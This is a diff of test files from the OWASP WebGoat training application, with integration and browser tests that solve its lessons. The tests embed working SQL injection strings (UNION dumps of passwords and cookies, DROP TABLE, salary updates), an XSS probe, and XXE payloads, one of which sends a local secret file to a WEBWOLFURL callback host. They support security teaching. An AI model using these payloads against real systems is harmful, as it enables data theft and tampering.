checkResults("SSRF");
}
}

View File

@@ -0,0 +1,23 @@
/*
* SPDX-FileCopyrightText: Copyright © 2014 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.Map;
import org.junit.jupiter.api.Test;
class SessionManagementIT extends IntegrationTest {
private static final String HIJACK_LOGIN_CONTEXT_PATH = "HijackSession/login";
@Test
void hijackSessionTest() {
startLesson("HijackSession");
checkAssignment(
webGoatUrlConfig.url(HIJACK_LOGIN_CONTEXT_PATH),
Map.of("username", "webgoat", "password", "webgoat"),
false);
}
}

View File

@@ -0,0 +1,62 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SqlInjectionAdvancedIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("SqlInjectionAdvanced");
Map<String, Object> params = new HashMap<>();
params.put("username_reg", "tom' AND substring(password,1,1)='t");
params.put("password_reg", "password");
params.put("email_reg", "someone@microsoft.com");
params.put("confirm_password", "password");
checkAssignmentWithPUT(webGoatUrlConfig.url("SqlInjectionAdvanced/register"), params, false);
params.clear();
params.put("username_login", "tom");
params.put("password_login", "thisisasecretfortomonly");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/login"), params, true);
params.clear();
params.put("userid_6a", "'; SELECT * FROM user_system_data;--");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6a"), params, true);
params.clear();
params.put(
"userid_6a",
"Smith' union select userid,user_name, user_name,user_name,password,cookie,userid from"
+ " user_system_data --");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6a"), params, true);
params.clear();
params.put("userid_6b", "passW0rD");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/attack6b"), params, true);
params.clear();
params.put(
"question_0_solution",
"Solution 4: A statement has got values instead of a prepared statement");
params.put("question_1_solution", "Solution 3: ?");
params.put(
"question_2_solution",
"Solution 2: Prepared statements are compiled once by the database management system"
+ " waiting for input and are pre-compiled this way.");
params.put(
"question_3_solution",
"Solution 3: Placeholders can prevent that the users input gets attached to the SQL query"
+ " resulting in a seperation of code and data.");
params.put(
"question_4_solution",
"Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
checkAssignment(webGoatUrlConfig.url("SqlInjectionAdvanced/quiz"), params, true);
}
}

View File

@@ -0,0 +1,82 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
public static final String sql_2 = "select department from employees where last_name='Franco'";
public static final String sql_3 =
"update employees set department='Sales' where last_name='Barnett'";
public static final String sql_4_drop = "alter table employees drop column phone";
public static final String sql_4_add = "alter table employees add column phone varchar(20)";
public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
public static final String sql_9_account = " ' ";
public static final String sql_9_operator = "or";
public static final String sql_9_injection = "'1'='1";
public static final String sql_10_login_count = "2";
public static final String sql_10_userid = "1 or 1=1";
public static final String sql_11_a = "Smith' or '1' = '1";
public static final String sql_11_b = "3SL99A' or '1'='1";
public static final String sql_12_a = "Smith";
public static final String sql_12_b =
"3SL99A' ; update employees set salary= '100000' where last_name='Smith";
public static final String sql_13 = "%update% '; drop table access_log ; --'";
@Test
public void runTests() {
startLesson("SqlInjection");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("query", sql_2);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack2"), params, true);
params.clear();
params.put("query", sql_3);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack3"), params, true);
params.clear();
params.put("query", sql_4_add);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack4"), params, true);
params.clear();
params.put("query", sql_5);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack5"), params, true);
params.clear();
params.put("operator", sql_9_operator);
params.put("account", sql_9_account);
params.put("injection", sql_9_injection);
checkAssignment(webGoatUrlConfig.url("SqlInjection/assignment5a"), params, true);
params.clear();
params.put("login_count", sql_10_login_count);
params.put("userid", sql_10_userid);
checkAssignment(webGoatUrlConfig.url("SqlInjection/assignment5b"), params, true);
params.clear();
params.put("name", sql_11_a);
params.put("auth_tan", sql_11_b);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack8"), params, true);
params.clear();
params.put("name", sql_12_a);
params.put("auth_tan", sql_12_b);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack9"), params, true);
params.clear();
params.put("action_string", sql_13);
checkAssignment(webGoatUrlConfig.url("SqlInjection/attack10"), params, true);
checkResults("SqlInjection");
}
}

View File

@@ -0,0 +1,88 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.hamcrest.CoreMatchers.containsString;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("SqlInjectionMitigations");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("field1", "getConnection");
params.put("field2", "PreparedStatement prep");
params.put("field3", "prepareStatement");
params.put("field4", "?");
params.put("field5", "?");
params.put("field6", "prep.setString(1,\"\")");
params.put("field7", "prep.setString(2,\\\"\\\")");
checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack10a"), params, true);
params.put(
"editor",
"try {\r\n"
+ " Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
+ " PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
+ " = ?\");\r\n"
+ " prep.setString(1,\"me\");\r\n"
+ " prep.execute();\r\n"
+ " System.out.println(conn); //should output 'null'\r\n"
+ "} catch (Exception e) {\r\n"
+ " System.out.println(\"Oops. Something went wrong!\");\r\n"
+ "}");
checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack10b"), params, true);
params.clear();
params.put(
"userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
checkAssignment(webGoatUrlConfig.url("SqlOnlyInputValidation/attack"), params, true);
params.clear();
params.put(
"userid_sql_only_input_validation_on_keywords",
"Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
checkAssignment(webGoatUrlConfig.url("SqlOnlyInputValidationOnKeywords/attack"), params, true);
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(
webGoatUrlConfig.url("SqlInjectionMitigations/servers?column=(case when (true) then hostname"
+ " else id end)"))
.then()
.statusCode(200);
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("SqlInjectionMitigations/servers?column=unknown"))
.then()
.statusCode(500)
.body(
"trace",
containsString(
"select id, hostname, ip, mac, status, description from SERVERS where status <>"
+ " 'out of order' order by"));
params.clear();
params.put("ip", "104.130.219.202");
checkAssignment(webGoatUrlConfig.url("SqlInjectionMitigations/attack12a"), params, true);
checkResults("SqlInjectionMitigations");
}
}

View File

@@ -0,0 +1,81 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.Assertions.assertTrue;
import io.restassured.RestAssured;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class WebWolfIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("WebWolfIntroduction");
// Assignment 3
Map<String, Object> params = new HashMap<>();
params.put("email", this.getUser() + "@webgoat.org");
checkAssignment(webGoatUrlConfig.url("WebWolf/mail/send"), params, false);
String responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("mail"))
.then()
.extract()
.response()
.getBody()
.asString();
String uniqueCode = responseBody.replace("%20", " ");
uniqueCode =
uniqueCode.substring(
21 + uniqueCode.lastIndexOf("your unique code is: "),
uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
params.clear();
params.put("uniqueCode", uniqueCode);
checkAssignment(webGoatUrlConfig.url("WebWolf/mail"), params, true);
// Assignment 4
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.queryParams(params)
.get(webGoatUrlConfig.url("WebWolf/landing/password-reset"))
.then()
.statusCode(200);
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.queryParams(params)
.get(webWolfUrlConfig.url("landing"))
.then()
.statusCode(200);
responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("requests"))
.then()
.extract()
.response()
.getBody()
.asString();
assertTrue(responseBody.contains(uniqueCode));
params.clear();
params.put("uniqueCode", uniqueCode);
checkAssignment(webGoatUrlConfig.url("WebWolf/landing"), params, true);
checkResults("WebWolfIntroduction");
}
}

View File

@@ -0,0 +1,120 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import java.util.HashMap;
import java.util.Map;
import org.junit.jupiter.api.Test;
public class XSSIntegrationTest extends IntegrationTest {
@Test
public void crossSiteScriptingAssignments() {
startLesson("CrossSiteScripting");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("checkboxAttack1", "value");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack1"), params, true);
params.clear();
params.put("QTY1", "1");
params.put("QTY2", "1");
params.put("QTY3", "1");
params.put("QTY4", "1");
params.put("field1", "<script>alert('XSS+Test')</script>");
params.put("field2", "111");
checkAssignmentWithGet(webGoatUrlConfig.url("CrossSiteScripting/attack5a"), params, true);
params.clear();
params.put("DOMTestRoute", "start.mvc#test");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack6a"), params, true);
params.clear();
params.put("param1", "42");
params.put("param2", "24");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest")
.formParams(params)
.post(webGoatUrlConfig.url("CrossSiteScripting/phone-home-xss"))
.then()
.statusCode(200)
.extract()
.path("output");
String secretNumber = result.substring("phoneHome Response is ".length());
params.clear();
params.put("successMessage", secretNumber);
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/dom-follow-up"), params, true);
params.clear();
params.put(
"question_0_solution",
"Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
+ " the browser does not know that the script is malicious.");
params.put(
"question_1_solution",
"Solution 3: The data is included in dynamic content that is sent to a web user without"
+ " being validated for malicious content.");
params.put(
"question_2_solution",
"Solution 1: The script is permanently stored on the server and the victim gets the"
+ " malicious script when requesting information from the server.");
params.put(
"question_3_solution",
"Solution 2: They reflect the injected script off the web server. That occurs when input"
+ " sent to the web server is part of the request.");
params.put(
"question_4_solution",
"Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
+ " the browser executes.");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/quiz"), params, true);
params.clear();
params.put(
"editor",
"<%@ taglib uri=\"https://www.owasp.org/index.php/OWASP_Java_Encoder_Project\" %>"
+ "<html>"
+ "<head>"
+ "<title>Using GET and POST Method to Read Form Data</title>"
+ "</head>"
+ "<body>"
+ "<h1>Using POST Method to Read Form Data</h1>"
+ "<table>"
+ "<tbody>"
+ "<tr>"
+ "<td><b>First Name:</b></td>"
+ "<td>${e:forHtml(param.first_name)}</td>"
+ "</tr>"
+ "<tr>"
+ "<td><b>Last Name:</b></td>"
+ "<td>${e:forHtml(param.last_name)}</td>"
+ "</tr>"
+ "</tbody>"
+ "</table>"
+ "</body>"
+ "</html>");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack3"), params, true);
params.clear();
params.put(
"editor2",
"Policy.getInstance(\"antisamy-slashdot.xml\");"
+ "Sammy s = new AntiSamy();"
+ "s.scan(newComment,\"\");"
+ "CleanResults();"
+ "MyCommentDAO.addComment(threadID, userID).getCleanHTML());");
checkAssignment(webGoatUrlConfig.url("CrossSiteScripting/attack4"), params, true);
checkResults("CrossSiteScripting");
}
}

View File

@@ -0,0 +1,121 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException;
import org.junit.jupiter.api.Test;
public class XXEIntegrationTest extends IntegrationTest {
private static final String xxe3 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String xxe4 =
"""
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
""";
private static final String dtd7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
""";
private static final String xxe7 =
"""
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
""";
private String webGoatHomeDirectory;
// TODO fix me
// /*
// * This test is to verify that all is secure when XXE security patch is applied.
// */
// @Test
// public void xxeSecure() throws IOException {
// startLesson("XXE");
// webGoatHomeDirectory = webGoatServerDirectory();
// RestAssured.given()
// .when()
// .relaxedHTTPSValidation()
// .cookie("JSESSIONID", getWebGoatCookie())
// .get(url("service/enable-security.mvc"))
// .then()
// .statusCode(200);
// checkAssignment(url("xxe/simple"), ContentType.XML, xxe3, false);
// checkAssignment(url("xxe/content-type"), ContentType.XML, xxe4, false);
// checkAssignment(
// url("xxe/blind"),
// ContentType.XML,
// "<comment><text>" + getSecret() + "</text></comment>",
// false);
// }
/**
* This performs the steps of the exercise before the secret can be committed in the final step.
*
* @return
*/
private String getSecret() {
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
String webWolfCallback = webWolfUrlConfig.url("landing");
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfCallback).replace("SECRET", secretFile);
// upload DTD
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", "blind.dtd", dtd7String.getBytes())
.post(webWolfUrlConfig.url("fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
// upload attack
String xxe7String =
xxe7.replace("WEBWOLFURL", webWolfUrlConfig.url("files"))
.replace("USERNAME", this.getUser());
checkAssignment(webGoatUrlConfig.url("xxe/blind"), ContentType.XML, xxe7String, false);
// read results from WebWolf
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("requests"))
.then()
.extract()
.response()
.getBody()
.asString();
result = result.replace("%20", " ");
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
result =
result.substring(
result.lastIndexOf("WebGoat 8.0 rocks... ("),
result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
}
return result;
}
@Test
public void runTests() throws IOException {
startLesson("XXE", true);
webGoatHomeDirectory = webGoatServerDirectory();
checkAssignment(webGoatUrlConfig.url("xxe/simple"), ContentType.XML, xxe3, true);
checkAssignment(webGoatUrlConfig.url("xxe/content-type"), ContentType.XML, xxe4, true);
checkAssignment(
webGoatUrlConfig.url("xxe/blind"),
ContentType.XML,
"<comment><text>" + getSecret() + "</text></comment>",
true);
checkResults("XXE");
}
}

View File

@@ -0,0 +1,31 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
class LoginUITest extends PlaywrightTest {
@Test
void loginLogout(Browser browser) {
var page = Authentication.tweety(browser);
var loginPage = new WebGoatLoginPage(page);
loginPage.open();
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
// logout
page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("")).click();
page.getByRole(AriaRole.MENUITEM, new Page.GetByRoleOptions().setName("Logout")).click();
assertThat(loginPage.getSignInButton()).isVisible();
}
}

View File

@@ -0,0 +1,42 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.junit.Options;
import com.microsoft.playwright.junit.OptionsFactory;
import com.microsoft.playwright.junit.UsePlaywright;
import org.owasp.webgoat.ServerUrlConfig;
@UsePlaywright(PlaywrightTest.WebGoatOptions.class)
public class PlaywrightTest {
private static final ServerUrlConfig webGoatUrlConfig = ServerUrlConfig.webGoat();
private static final ServerUrlConfig webWolfUrlConfig = ServerUrlConfig.webWolf();
public static class WebGoatOptions implements OptionsFactory {
@Override
public Options getOptions() {
return new Options()
.setHeadless(true)
.setContextOptions(getContextOptions());
}
}
protected static Browser.NewContextOptions getContextOptions() {
return new Browser.NewContextOptions()
.setLocale("en-US")
.setBaseURL(webGoatUrlConfig.getBaseUrl());
}
public static String webGoatUrl(String path) {
return webGoatUrlConfig.url(path);
}
public static String webWolfURL(String path) {
return webWolfUrlConfig.url(path);
}
}

View File

@@ -0,0 +1,48 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat;
import static org.assertj.core.api.Assertions.assertThat;
import com.microsoft.playwright.Browser;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.RegistrationPage;
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
public class RegistrationUITest extends PlaywrightTest {
@Test
@DisplayName("Should register a new user while logged in as other user")
void registerWhileLoggedIn(Browser browser) {
var page = Authentication.tweety(browser);
var loginPage = new WebGoatLoginPage(page);
loginPage.open();
loginPage.login(Authentication.getTweety().name(), Authentication.getTweety().password());
var newUsername = "newuser" + System.currentTimeMillis();
var password = "password123";
var registrationPage = new RegistrationPage(page);
registrationPage.open();
registrationPage.register(newUsername, password);
assertThat(page.content()).contains(newUsername);
}
@Test
@DisplayName("Should register a new user")
void registerNewUser(Browser browser) {
var page = browser.newContext(new Browser.NewContextOptions().setLocale("en-US")).newPage();
var registrationPage = new RegistrationPage(page);
registrationPage.open();
var newUsername = "newuser" + System.currentTimeMillis();
var password = "password123";
registrationPage.register(newUsername, password);
assertThat(page.content()).contains(newUsername);
}
}

View File

@@ -0,0 +1,65 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.helpers;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.Page;
import lombok.Getter;
import org.owasp.webgoat.playwright.webgoat.pages.RegistrationPage;
import org.owasp.webgoat.playwright.webgoat.pages.WebGoatLoginPage;
import org.owasp.webgoat.playwright.webwolf.pages.WebWolfLoginPage;
/**
* Helper class to authenticate users in WebGoat and WebWolf.
*
* <p>It provides two users: sylvester and tweety. The users are authenticated by logging in to
* WebGoat and WebWolf. Once authenticated, the user's authentication token is stored in the browser
* and reused for subsequent requests.
*/
public class Authentication {
public record User(String name, String password, String auth) {
boolean loggedIn() {
return auth != null;
}
}
@Getter private static User sylvester = new User("sylvester", "sylvester", null);
@Getter private static User tweety = new User("tweety", "tweety", null);
public static Page sylvester(Browser browser) {
User user = login(browser, sylvester);
return browser.newContext(new Browser.NewContextOptions().setLocale("en-US").setStorageState(user.auth)).newPage();
}
public static Page tweety(Browser browser) {
User user = login(browser, tweety);
return browser.newContext(new Browser.NewContextOptions().setLocale("en-US").setStorageState(user.auth)).newPage();
}
private static User login(Browser browser, User user) {
if (user.loggedIn()) {
return user;
}
var page = browser.newContext(new Browser.NewContextOptions().setLocale("en-US")).newPage();
RegistrationPage registrationPage = new RegistrationPage(page);
registrationPage.open();
registrationPage.register(user.name, user.password);
WebGoatLoginPage loginPage = new WebGoatLoginPage(page);
loginPage.open();
loginPage.login(user.name, user.password);
assertThat(loginPage.getSignInButton()).not().isVisible();
WebWolfLoginPage webWolfLoginPage = new WebWolfLoginPage(page);
webWolfLoginPage.open();
webWolfLoginPage.login(user.name, user.password);
assertThat(loginPage.getSignInButton()).not().isVisible();
return new User(user.name, user.password, page.context().storageState());
}
}

View File

@@ -0,0 +1,84 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.lessons;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.*;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.MethodOrderer;
import org.junit.jupiter.api.Order;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.TestMethodOrder;
import org.owasp.webgoat.container.lessons.LessonName;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.lessons.HttpBasicsLessonPage;
@TestMethodOrder(MethodOrderer.OrderAnnotation.class)
public class HttpBasicsLessonUITest extends PlaywrightTest {
private HttpBasicsLessonPage lessonPage;
@BeforeEach
void navigateToLesson(Browser browser) {
var lessonName = new LessonName("HttpBasics");
var page = Authentication.sylvester(browser);
this.lessonPage = new HttpBasicsLessonPage(page);
lessonPage.resetLesson(lessonName);
lessonPage.open(lessonName);
}
@Test
@Order(1)
void shouldShowDefaultPage() {
assertThat(lessonPage.getTitle()).hasText("HTTP Basics");
Assertions.assertThat(lessonPage.noAssignmentsCompleted()).isTrue();
Assertions.assertThat(lessonPage.numberOfAssignments()).isEqualTo(2);
}
@Test
@Order(2)
@DisplayName(
"When the user enters their name, the server should reverse it then the assignment should be"
+ " solved")
void solvePage2() {
lessonPage.navigateTo(2);
lessonPage.getEnterYourName().fill("John Doe");
lessonPage.getGoButton().click();
assertThat(lessonPage.getAssignmentOutput())
.containsText("The server has reversed your name: eoD nhoJ");
Assertions.assertThat(lessonPage.isAssignmentSolved(2)).isTrue();
}
@Test
@Order(3)
@DisplayName("When the user enters nothing then the server should display an error message")
void invalidPage2() {
lessonPage.navigateTo(2);
lessonPage.getEnterYourName().fill("");
lessonPage.getGoButton().click();
assertThat(lessonPage.getAssignmentOutput()).containsText("Try again, name cannot be empty.");
}
@Test
@Order(4)
@DisplayName(
"Given Sylvester solves the first assignment when Tweety logs in then the first assignment should NOT be solved")
void shouldNotSolvePage1(Browser browser) {
lessonPage.navigateTo(2);
lessonPage.getEnterYourName().fill("John Doe");
lessonPage.getGoButton().click();
var tweetyLessonPage = new HttpBasicsLessonPage(Authentication.tweety(browser));
tweetyLessonPage.open(new LessonName("HttpBasics"));
Assertions.assertThat(tweetyLessonPage.noAssignmentsCompleted()).isTrue();
}
}

View File

@@ -0,0 +1,120 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.lessons;
import static com.microsoft.playwright.assertions.PlaywrightAssertions.assertThat;
import com.microsoft.playwright.Browser;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.Page.GetByRoleOptions;
import com.microsoft.playwright.options.AriaRole;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.lessons.LessonName;
import org.owasp.webgoat.playwright.webgoat.PlaywrightTest;
import org.owasp.webgoat.playwright.webgoat.helpers.Authentication;
import org.owasp.webgoat.playwright.webgoat.pages.lessons.LessonPage;
public class SqlInjectionAdvancedUITest extends PlaywrightTest {
private LessonPage lessonPage;
@BeforeEach
void navigateToLesson(Browser browser) {
var lessonName = new LessonName("SqlInjectionAdvanced");
var page = Authentication.sylvester(browser);
this.lessonPage = new LessonPage(page);
lessonPage.resetLesson(lessonName);
lessonPage.open(lessonName);
}
@Test
@DisplayName("Login as Tom with incorrect password")
void loginAsTomWithIncorrectPassword() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Login")).click();
page.locator("[name='username_login']").fill("tom");
page.locator("[name='password_login']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Log In")).click();
assertThat(lessonPage.getAssignmentOutput())
.containsText("Wrong username or password. Try again.");
}
@Test
@DisplayName("Login as Tom with correct password")
void loginAsTomWithCorrectPassword() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Login")).click();
page.locator("[name='username_login']").fill("tom");
page.locator("[name='password_login']").fill("thisisasecretfortomonly");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Log In")).click();
lessonPage.isAssignmentSolved(5);
}
@Test
@DisplayName("Register as Tom should show error that Tom already exists")
void registerAsTomShouldDisplayError() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Register")).click();
page.locator("[name='username_reg']").fill("tom");
page.locator("[name='email_reg']").fill("tom@tom.org");
page.locator("[name='password_reg']").fill("test");
page.locator("[name='confirm_password_reg']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Register Now")).click();
assertThat(lessonPage.getAssignmentOutput()).containsText("User tom already exists");
}
@Test
@DisplayName(
"Using SQL Injection to register as Tom to guess the password and the guess is correct")
void startGuessingCorrect() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Register")).click();
page.locator("[name='username_reg']").fill("tom' AND substring(password,1,1)='t");
page.locator("[name='email_reg']").fill("tom@tom.org");
page.locator("[name='password_reg']").fill("test");
page.locator("[name='confirm_password_reg']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Register Now")).click();
assertThat(lessonPage.getAssignmentOutput())
.containsText("User tom' AND substring(password,1,1)='t already exists");
}
@Test
@DisplayName(
"Using SQL Injection to register as Tom to guess the password and the guess is incorrect")
void startGuessingIncorrect() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.LINK, new GetByRoleOptions().setName("Register")).click();
page.locator("[name='username_reg']").fill("tom' AND substring(password,1,1)='a");
page.locator("[name='email_reg']").fill("tom@tom.org");
page.locator("[name='password_reg']").fill("test");
page.locator("[name='confirm_password_reg']").fill("test");
page.getByRole(AriaRole.BUTTON, new GetByRoleOptions().setName("Register Now")).click();
assertThat(lessonPage.getAssignmentOutput())
.containsText(
"User tom' AND substring(password,1,1)='a created, please proceed to the login page.");
}
@Test
@DisplayName("Should display correct hints")
void shouldDisplayCorrectHints() {
lessonPage.navigateTo(5);
var page = lessonPage.getPage();
page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Show hints")).click();
assertThat(lessonPage.getAssignmentOutput()).containsText("Look at the different");
}
}

View File

@@ -0,0 +1,36 @@
/*
* SPDX-FileCopyrightText: Copyright © 2025 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.playwright.webgoat.pages;
import static com.microsoft.playwright.options.AriaRole.BUTTON;
import static org.owasp.webgoat.playwright.webgoat.PlaywrightTest.webGoatUrl;
import com.microsoft.playwright.Locator;
import com.microsoft.playwright.Page;
import com.microsoft.playwright.options.AriaRole;
import lombok.Getter;
public class RegistrationPage {
private final Page page;
@Getter private final Locator signUpButton;
public RegistrationPage(Page page) {
this.page = page;
this.signUpButton = this.page.getByRole(BUTTON, new Page.GetByRoleOptions().setName("Sign up"));
}
public void open() {
page.navigate(webGoatUrl("registration"));
}
public void register(String username, String password) {
page.getByPlaceholder("Username").fill(username);
page.getByLabel("Password", new Page.GetByLabelOptions().setExact(true)).fill(password);
page.getByLabel("Confirm password").fill(password);
page.getByLabel("Agree with the terms and").check();
page.getByRole(AriaRole.BUTTON, new Page.GetByRoleOptions().setName("Sign up")).click();
}
}

View File

@@ -0,0 +1,33 @@
/*
